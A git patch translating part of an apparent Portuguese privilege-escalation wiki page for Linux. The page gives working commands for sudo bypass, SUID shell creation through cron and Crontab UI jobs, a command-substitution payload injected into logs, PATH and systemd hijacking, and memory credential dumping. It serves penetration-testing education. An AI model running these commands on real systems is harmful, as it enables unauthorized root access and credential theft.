From 9361b37fbbfecd1dd26010be94eaabd361c3df77 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 1 Oct 2025 10:14:30 +0000 Subject: [PATCH] Translated ['src/linux-hardening/privilege-escalation/vmware-tools-servi --- src/SUMMARY.md | 1 + .../privilege-escalation/README.md | 537 ++++++++++-------- ...ry-untrusted-search-path-cve-2025-41244.md | 146 +++++ .../pentesting-web/vmware-esx-vcenter....md | 18 +- 4 files changed, 453 insertions(+), 249 deletions(-) create mode 100644 src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 79f641eab..6d276923d 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -110,6 +110,7 @@ - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md) - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md) - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md) + - [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md) - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md) - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md) - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index f2f0e5204..606bba75d 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -6,27 +6,27 @@ ### Informações do SO -Vamos começar a obter algumas informações sobre o SO em execução. +Vamos começar a obter informações sobre o sistema operacional em execução ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -### Caminho +### Path -Se você **tem permissões de escrita em qualquer pasta dentro da variável `PATH`**, pode ser capaz de hijack some libraries or binaries: +Se você **tem permissões de escrita em qualquer pasta dentro da variável `PATH`** pode conseguir sequestrar algumas bibliotecas ou binários: ```bash echo $PATH ``` -### Informações do ambiente +### Env info -Informações interessantes, senhas ou chaves de API nas variáveis de ambiente? +Informações interessantes, senhas ou API keys nas variáveis de ambiente? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Verifique a versão do kernel e se existe algum exploit que possa ser usado para escalate privileges +Verifique a versão do kernel e se existe algum exploit que possa ser usado para escalar privilégios ```bash cat /proc/version uname -a @@ -35,17 +35,17 @@ searchsploit "Linux Kernel" Você pode encontrar uma boa lista de kernels vulneráveis e alguns já **compiled exploits** aqui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) e [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ Outros sites onde você pode encontrar alguns **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Para extrair todas as versões do kernel vulneráveis desse site você pode fazer: +Para extrair todas as versões de kernel vulneráveis desse site você pode fazer: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Ferramentas que podem ajudar a procurar por kernel exploits são: +Ferramentas que podem ajudar a procurar por exploits do kernel são: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, somente verifica exploits para kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x) -Sempre **search the kernel version in Google**, talvez sua versão do kernel esteja escrita em algum kernel exploit e assim você terá certeza de que esse exploit é válido. +Sempre **pesquise a versão do kernel no Google**, talvez sua versão do kernel esteja mencionada em algum kernel exploit e assim você terá certeza de que esse exploit é válido. ### CVE-2016-5195 (DirtyCow) @@ -59,11 +59,11 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Versão do Sudo -Com base nas versões vulneráveis do Sudo que aparecem em: +Com base nas versões vulneráveis do sudo que aparecem em: ```bash searchsploit sudo ``` -Você pode verificar se a versão do sudo está vulnerável usando este grep. +Você pode verificar se a versão do sudo é vulnerável usando este grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,9 +73,9 @@ De @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg: verificação da assinatura falhou +### Falha na verificação de assinatura do Dmesg -Veja **smasher2 box of HTB** para um **exemplo** de como esta vuln poderia ser explorada +Verifique **smasher2 box of HTB** para um **exemplo** de como essa vuln poderia ser explorada ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -123,7 +123,7 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Se você estiver dentro de um docker container, você pode tentar escapar dele: +Se você estiver dentro de um docker container você pode tentar escapar dele: {{#ref}} @@ -132,7 +132,7 @@ docker-security/ ## Drives -Verifique **what is mounted and unmounted**, onde e por quê. Se algo estiver unmounted, você pode tentar montá-lo e verificar por informações privadas +Verifique **o que está montado e desmontado**, onde e por quê. Se algo estiver desmontado você pode tentar montá-lo e verificar por informações privadas ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -141,60 +141,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Software útil -Enumere binários úteis +Enumerar binários úteis ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum kernel exploit, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante). +Além disso, verifique se **algum compilador está instalado**. Isso é útil se você precisar usar algum kernel exploit, pois é recomendado compilá-lo na máquina onde você vai usá-lo (ou em uma semelhante) ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Software Vulnerável Instalado -Verifique a **versão dos pacotes e serviços instalados**. Pode haver alguma versão antiga do Nagios (por exemplo) que poderia ser explorada para escalating privileges…\ +Verifique a **versão dos pacotes e serviços instalados**. Talvez haja alguma versão antiga do Nagios (por exemplo) que possa ser explorada para escalar privilégios…\ Recomenda-se verificar manualmente a versão dos softwares instalados mais suspeitos. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Se você tiver acesso SSH à máquina, também pode usar **openVAS** para verificar se há software desatualizado e vulnerável instalado na máquina. +Se você tiver acesso SSH à máquina, também pode usar **openVAS** para verificar software desatualizado e vulnerável instalado na máquina. -> [!NOTE] > _Observe que esses comandos mostrarão muita informação que na maior parte será inútil, portanto é recomendável usar aplicações como OpenVAS ou similares que verifiquem se alguma versão de software instalada é vulnerável a exploits conhecidos_ +> [!NOTE] > _Observe que esses comandos mostrarão muita informação que, na maior parte, será inútil; portanto, recomenda-se usar aplicações como OpenVAS ou similares que verifiquem se alguma versão de software instalada é vulnerável a explorações conhecidas_ ## Processos -Observe **quais processos** estão sendo executados e verifique se algum processo tem **mais privilégios do que deveria** (talvez um tomcat sendo executado por root?) +Dê uma olhada em **quais processos** estão sendo executados e verifique se algum processo tem **mais privilégios do que deveria** (talvez um tomcat sendo executado por root?) ```bash ps aux ps -ef top -n 1 ``` -Sempre verifique se há [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detecta esses verificando o parâmetro `--inspect` dentro da linha de comando do processo.\ -Também **verifique seus privilégios sobre os binários dos processos**, talvez você possa sobrescrever algum. +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Also **check your privileges over the processes binaries**, maybe you can overwrite someone. -### Monitoramento de processos +### Process monitoring -Você pode usar ferramentas como [**pspy**](https://github.com/DominicBreuker/pspy) para monitorar processos. Isso pode ser muito útil para identificar processos vulneráveis que são executados com frequência ou quando um conjunto de requisitos é atendido. +You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. -### Memória de processos +### Process memory -Alguns serviços de um servidor salvam **credenciais em texto claro dentro da memória**.\ -Normalmente você precisará de **root privileges** para ler a memória de processos que pertencem a outros usuários, portanto isto geralmente é mais útil quando você já é root e quer descobrir mais credenciais.\ -No entanto, lembre-se que **como um usuário comum você pode ler a memória dos processos que possui**. +Some services of a server save **credenciais em texto puro na memória**.\ +Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credenciais.\ +However, remember that **as a regular user you can read the memory of the processes you own**. > [!WARNING] > Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. > > The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. +> - **kernel.yama.ptrace_scope = 0**: todos os processos podem ser depurados, contanto que tenham o mesmo uid. Esta é a forma clássica de como o ptrace funcionava. +> - **kernel.yama.ptrace_scope = 1**: apenas um processo pai pode ser depurado. > - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. > - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. #### GDB -Se você tiver acesso à memória de um serviço FTP (por exemplo) você pode obter o Heap e procurar dentro dele pelas suas credenciais. +If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credenciais. ```bash gdb -p (gdb) info proc mappings @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Para um dado ID de processo, **maps mostram como a memória é mapeada dentro do espaço de endereçamento virtual desse processo**; também mostram as **permissões de cada região mapeada**. O pseudo-arquivo **mem** **expõe a própria memória do processo**. Do arquivo **maps** sabemos quais **regiões de memória são legíveis** e seus offsets. Usamos essa informação para **posicionar no arquivo mem e extrair todas as regiões legíveis** para um arquivo. +Para um dado ID de processo, **maps mostram como a memória é mapeada dentro do espaço de endereçamento virtual desse processo**; também mostra as **permissões de cada região mapeada**. O pseudo-arquivo **mem** **expõe a própria memória do processo**. A partir do arquivo **maps** sabemos quais **regiões de memória são legíveis** e seus deslocamentos. Usamos essa informação para **posicionar no arquivo mem e despejar todas as regiões legíveis** em um arquivo. ```bash procdump() ( @@ -232,13 +232,13 @@ rm $1*.bin #### /dev/mem `/dev/mem` fornece acesso à memória **física** do sistema, não à memória virtual. O espaço de endereçamento virtual do kernel pode ser acessado usando /dev/kmem.\ -Normalmente, `/dev/mem` só é legível por **root** e pelo grupo **kmem**. +Tipicamente, `/dev/mem` é somente legível por **root** e pelo grupo **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump para Linux +### ProcDump for linux -ProcDump é uma versão para Linux da clássica ferramenta ProcDump da suíte Sysinternals para Windows. Baixe em [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump é uma reimaginação para Linux da clássica ferramenta ProcDump da suíte Sysinternals para Windows. Obtenha-o em [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -270,8 +270,8 @@ Press Ctrl-C to end monitoring without terminating the process. Para fazer dump da memória de um processo você pode usar: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Você pode remover manualmente os requisitos de root e fazer dump do processo de sua propriedade -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (requer root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Você pode remover manualmente os requisitos de root e fazer o dump do processo pertencente a você +- Script A.5 de [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is required) ### Credenciais da memória do processo @@ -282,16 +282,16 @@ Se você encontrar que o processo authenticator está em execução: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Você pode fazer dump do processo (veja as seções anteriores para encontrar diferentes maneiras de fazer dump da memória de um processo) e procurar credenciais dentro da memória: +Você pode dump the process (veja as seções anteriores para encontrar diferentes maneiras de dump the memory of a process) e procurar por credentials dentro da memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -A ferramenta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) irá roubar credenciais em texto claro da memória e de alguns arquivos bem conhecidos. Requer privilégios de root para funcionar corretamente. +A ferramenta [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) irá roubar credenciais em texto claro da memória e de alguns arquivos bem conhecidos. Requer root privileges para funcionar corretamente. -| Recurso | Nome do Processo | +| Funcionalidade | Nome do Processo | | ------------------------------------------------- | -------------------- | | GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | @@ -300,7 +300,7 @@ A ferramenta [**https://github.com/huntergregal/mimipenguin**](https://github.co | Apache2 (Active HTTP Basic Auth Sessions) | apache2 | | OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Expressões Regulares de Busca/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Regexes de Busca/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -316,34 +316,65 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## Tarefas Agendadas/Cron jobs -Verifique se alguma tarefa agendada está vulnerável. Talvez você consiga tirar proveito de um script sendo executado por root (wildcard vuln? pode modificar arquivos que root usa? usar symlinks? criar arquivos específicos no diretório que root usa?). +### Crontab UI (alseambusher) rodando como root – privesc em agendador web + +Se um painel web "Crontab UI" (alseambusher/crontab-ui) estiver rodando como root e estiver vinculado apenas ao loopback, você ainda pode alcançá‑lo via SSH local port-forwarding e criar um job privilegiado para escalar. + +Cadeia típica +- Descobrir porta somente em loopback (por exemplo, 127.0.0.1:8000) e o realm Basic-Auth via `ss -ntlp` / `curl -v localhost:8000` +- Encontrar credenciais em artefatos operacionais: + - Backups/scripts com `zip -P ` + - unidade systemd expondo `Environment="BASIC_AUTH_USER=..."`, `Environment="BASIC_AUTH_PWD=..."` +- Túnel e login: +```bash +ssh -L 9001:localhost:8000 user@target +# browse http://localhost:9001 and authenticate +``` +- Crie um job com privilégios elevados e execute-o imediatamente (gera um shell SUID): +```bash +# Name: escalate +# Command: +cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell +``` +- Use-o: +```bash +/tmp/rootshell -p # root shell +``` +Hardening +- Não execute o Crontab UI como root; restrinja com um usuário dedicado e permissões mínimas +- Vincule a localhost e restrinja adicionalmente o acesso via firewall/VPN; não reutilize senhas +- Evite embutir segredos em unit files; use secret stores ou EnvironmentFile acessível apenas ao root +- Habilite audit/logging para execuções on-demand de jobs + +Verifique se algum job agendado é vulnerável. Talvez você consiga tirar proveito de um script executado pelo root (wildcard vuln? pode modificar arquivos que root usa? usar symlinks? criar arquivos específicos no diretório que root usa?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Caminho do cron +### Cron path Por exemplo, dentro de _/etc/crontab_ você pode encontrar o PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ (_Observe como o usuário "user" tem privilégios de escrita sobre /home/user_) -Se dentro desse crontab o usuário root tentar executar algum comando ou script sem definir o PATH. Por exemplo: _\* \* \* \* root overwrite.sh_\ +Se dentro desse crontab o usuário root tentar executar algum comando ou script sem definir o PATH. Por exemplo: _\* \* \* \* root overwrite.sh_\ Então, você pode obter um shell root usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron using a script with a wildcard (Wildcard Injection) +### Cron usando um script com um wildcard (Wildcard Injection) Se um script executado por root tiver um “**\***” dentro de um comando, você pode explorar isso para causar comportamentos inesperados (como privesc). Exemplo: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Se o wildcard é precedido por um caminho como** _**/some/path/\***_ **, ele não é vulnerável (nem mesmo** _**./\***_ **).** +**Se o wildcard for precedido de um caminho como** _**/some/path/\***_ **, não é vulnerável (nem** _**./\***_ **é).** + +Leia a página a seguir para mais wildcard exploitation tricks: -Leia a página a seguir para mais truques de exploração de wildcard: {{#ref}} wildcards-spare-tricks.md @@ -352,9 +383,9 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. Se um cron/parser executado como root lê campos de log não confiáveis e os alimenta em um contexto aritmético, um atacante pode injetar uma command substitution $(...) que será executada como root quando o cron rodar. +Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. Se um cron/parser rodando como root lê campos de log não confiáveis e os alimenta em um contexto aritmético, um atacante pode injetar uma command substitution $(...) que será executada como root quando o cron rodar. -- Why it works: In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. So a value like `$(/bin/bash -c 'id > /tmp/pwn')0` is first substituted (running the command), then the remaining numeric `0` is used for the arithmetic so the script continues without errors. +- Por que funciona: Em Bash, as expansões ocorrem nesta ordem: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion. Assim, um valor como `$(/bin/bash -c 'id > /tmp/pwn')0` é primeiro substituído (executando o comando), depois o `0` numérico restante é usado na aritmética, então o script continua sem erros. - Padrão vulnerável típico: ```bash @@ -366,7 +397,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploração: Faça com que texto controlado pelo atacante seja escrito no log analisado de forma que o campo que parece numérico contenha uma command substitution e termine com um dígito. Garanta que seu comando não imprima no stdout (ou redirecione) para que a avaliação aritmética permaneça válida. +- Exploitation: Faça com que texto controlado pelo atacante seja escrito no log analisado de modo que o campo com aparência numérica contenha uma command substitution e termine com um dígito. Garanta que seu comando não imprima para stdout (ou redirecione-o) para que a aritmética permaneça válida. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -375,29 +406,29 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Se você **puder modificar um cron script** executado como root, pode obter um shell muito facilmente: +Se você **puder modificar um cron script** executado por root, pode obter um shell muito facilmente: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Se o script executado pelo root usa um **diretório ao qual você tem acesso total**, talvez seja útil apagar essa pasta e **criar um symlink apontando para outra** que sirva um script controlado por você +Se o script executado por root usa um **diretório onde você tem full access**, pode ser útil deletar essa pasta e **criar um symlink para outra pasta** que sirva um script controlado por você. ```bash ln -d -s ``` ### Cron jobs frequentes -Você pode monitorar os processos para procurar por processos que estão sendo executados a cada 1, 2 ou 5 minutos. Talvez você consiga tirar proveito disso e escalar privilégios. +Você pode monitorar os processos para procurar por processos que são executados a cada 1, 2 ou 5 minutos. Talvez você consiga aproveitar isso e escalate privileges. Por exemplo, para **monitorar a cada 0.1s durante 1 minuto**, **ordenar pelos comandos menos executados** e apagar os comandos que foram executados com mais frequência, você pode fazer: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Você também pode usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (isso vai monitorar e listar cada processo que iniciar). +**Você também pode usar** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (isso irá monitorar e listar cada processo que iniciar). ### Cron jobs invisíveis -É possível criar um cronjob **colocando um carriage return após um comentário** (sem o caractere de nova linha), e o cron job funcionará. Exemplo (observe o caractere carriage return): +É possível criar um cronjob **colocando um carriage return após um comentário** (sem caractere de nova linha), e o cron job funcionará. Exemplo (observe o caractere carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -405,12 +436,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### Arquivos _.service_ graváveis -Verifique se você pode gravar algum arquivo `.service`; se puder, você **poderia modificá-lo** de modo que ele **execute** seu **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez seja necessário aguardar até que a máquina seja reiniciada).\ -Por exemplo, crie seu backdoor dentro do .service file com **`ExecStart=/tmp/script.sh`** +Verifique se você pode escrever qualquer arquivo `.service`. Se puder, você **poderia modificá-lo** para que ele **execute** sua **backdoor quando** o serviço for **iniciado**, **reiniciado** ou **parado** (talvez você precise aguardar até a máquina ser reiniciada).\ +Por exemplo, crie sua backdoor dentro do arquivo .service com **`ExecStart=/tmp/script.sh`** -### Binários de serviços graváveis +### Binários de serviço graváveis -Tenha em mente que se você tem **permissão de escrita sobre binários executados por serviços**, você pode alterá-los para backdoors, de modo que quando os serviços forem re-executados os backdoors sejam executados. +Tenha em mente que, se você tiver **permissões de escrita sobre binários executados por serviços**, você pode alterá-los para inserir backdoors, de modo que quando os serviços forem reexecutados os backdoors sejam executados. ### systemd PATH - Caminhos Relativos @@ -418,38 +449,38 @@ Você pode ver o PATH usado pelo **systemd** com: ```bash systemctl show-environment ``` -Se você descobrir que pode **write** em qualquer uma das pastas do caminho, pode ser capaz de **escalate privileges**. Procure por **relative paths being used on service configurations** em arquivos como: +Se você descobrir que pode **write** em qualquer uma das pastas do caminho, pode ser capaz de **escalate privileges**. Você precisa procurar por arquivos de **relative paths being used on service configurations** como: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Então, crie um **executável** com o **mesmo nome do binário do caminho relativo** dentro da pasta do PATH do systemd que você consegue escrever, e quando o serviço for solicitado a executar a ação vulnerável (**Start**, **Stop**, **Reload**), seu **backdoor será executado** (usuários sem privilégios geralmente não podem iniciar/parar serviços, mas verifique se você pode usar `sudo -l`). +Então, crie um **executável** com o **mesmo nome do binário do caminho relativo** dentro da pasta PATH do systemd que você consegue escrever, e quando o serviço for solicitado a executar a ação vulnerável (**Start**, **Stop**, **Reload**), seu **backdoor será executado** (usuários sem privilégios normalmente não podem iniciar/parar serviços, mas verifique se você pode usar `sudo -l`). **Saiba mais sobre serviços com `man systemd.service`.** -## **Timers** +## **Temporizadores** -**Timers** são arquivos de unidade systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Timers** podem ser usados como uma alternativa ao cron, já que têm suporte embutido para eventos de tempo de calendário e eventos de tempo monotônico e podem ser executados de forma assíncrona. +**Temporizadores** são arquivos de unidade do systemd cujo nome termina em `**.timer**` que controlam arquivos ou eventos `**.service**`. **Temporizadores** podem ser usados como alternativa ao cron, pois possuem suporte nativo para eventos de tempo de calendário e eventos de tempo monotônico, e podem ser executados de forma assíncrona. -Você pode enumerar todos os timers com: +Você pode enumerar todos os temporizadores com: ```bash systemctl list-timers --all ``` -### Timers graváveis +### Temporizadores graváveis -Se você conseguir modificar um timer, pode fazê-lo executar algumas unidades existentes de systemd.unit (como um `.service` ou um `.target`) +Se você puder modificar um temporizador, pode fazê-lo executar algumas unidades existentes de systemd.unit (como uma `.service` ou uma `.target`) ```bash Unit=backdoor.service ``` -Na documentação você pode ler o que é a Unit: +Na documentação você pode ler o que a Unit é: -> A unidade a ser ativada quando este timer expirar. O argumento é um nome de unidade, cujo sufixo não é ".timer". Se não for especificado, esse valor padrão é um serviço que tem o mesmo nome da unidade timer, exceto pelo sufixo. (Veja acima.) Recomenda-se que o nome da unidade que é ativada e o nome da unidade do timer sejam nomeados de forma idêntica, exceto pelo sufixo. +> A unit a ser ativada quando este timer expira. O argumento é um unit name, cujo sufixo não é ".timer". Se não especificado, este valor padrão é um service que tem o mesmo nome que o timer unit, exceto pelo sufixo. (See above.) Recomenda-se que o unit name que é ativado e o unit name do timer unit sejam nomeados identicamente, exceto pelo sufixo. Portanto, para abusar dessa permissão você precisaria: -- Encontrar alguma unidade systemd (como um `.service`) que esteja **executando um binário gravável** -- Encontrar alguma unidade systemd que esteja **executando um caminho relativo** e que você tenha **privilégios de escrita** sobre o **systemd PATH** (para se passar por esse executável) +- Encontre algum systemd unit (like a `.service`) que esteja **executing a writable binary** +- Encontre algum systemd unit que esteja **executing a relative path** e sobre o qual você tenha **writable privileges** no **systemd PATH** (para impersonate that executable) **Saiba mais sobre timers com `man systemd.timer`.** @@ -460,32 +491,32 @@ Para habilitar um timer você precisa de privilégios root e executar: sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` +Observe que o **timer** é **ativado** criando um symlink para ele em `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) habilitam a **comunicação entre processos** na mesma ou em diferentes máquinas dentro de modelos cliente-servidor. Eles utilizam arquivos de descritor padrão do Unix para comunicação entre computadores e são configurados por meio de arquivos `.socket`. +Unix Domain Sockets (UDS) permitem a **comunicação entre processos** na mesma máquina ou em máquinas diferentes dentro de modelos cliente-servidor. Eles utilizam arquivos de descritor Unix padrão para comunicação entre computadores e são configurados através de arquivos `.socket`. -Sockets can be configured using `.socket` files. +Sockets podem ser configurados usando arquivos `.socket`. -**Saiba mais sobre sockets com `man systemd.socket`.** Dentro deste arquivo, vários parâmetros interessantes podem ser configurados: +**Aprenda mais sobre sockets com `man systemd.socket`.** Dentro deste arquivo, vários parâmetros interessantes podem ser configurados: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas, em resumo, são usadas para **indicar onde o socket vai escutar** (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número da porta a escutar, etc.) -- `Accept`: Recebe um argumento booleano. Se **true**, uma **instância de serviço é criada para cada conexão recebida** e apenas o socket da conexão é passado a ela. Se **false**, todos os sockets de escuta são **passados para a unidade de serviço iniciada**, e apenas uma unidade de serviço é criada para todas as conexões. Esse valor é ignorado para datagram sockets e FIFOs onde uma única unidade de serviço trata incondicionalmente todo o tráfego de entrada. **Padrão é false**. Por razões de desempenho, recomenda-se escrever novos daemons apenas de forma compatível com `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Aceitam uma ou mais linhas de comando, que são **executadas antes** ou **depois** que os **sockets**/FIFOs de escuta são **criados** e vinculados, respectivamente. O primeiro token da linha de comando deve ser um nome de arquivo absoluto, seguido pelos argumentos para o processo. -- `ExecStopPre`, `ExecStopPost`: Comandos adicionais que são **executados antes** ou **depois** que os **sockets**/FIFOs de escuta são **fechados** e removidos, respectivamente. -- `Service`: Especifica o nome da unidade de **service** **a ativar** no **tráfego de entrada**. Essa configuração só é permitida para sockets com Accept=no. Por padrão, aponta para o serviço que tem o mesmo nome do socket (com o sufixo substituído). Na maioria dos casos, não deve ser necessário usar esta opção. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Essas opções são diferentes, mas em resumo são usadas para **indicar onde será feito o listen** do socket (o caminho do arquivo de socket AF_UNIX, o IPv4/6 e/ou número de porta a escutar, etc.) +- `Accept`: Recebe um argumento booleano. Se **true**, uma **instância de 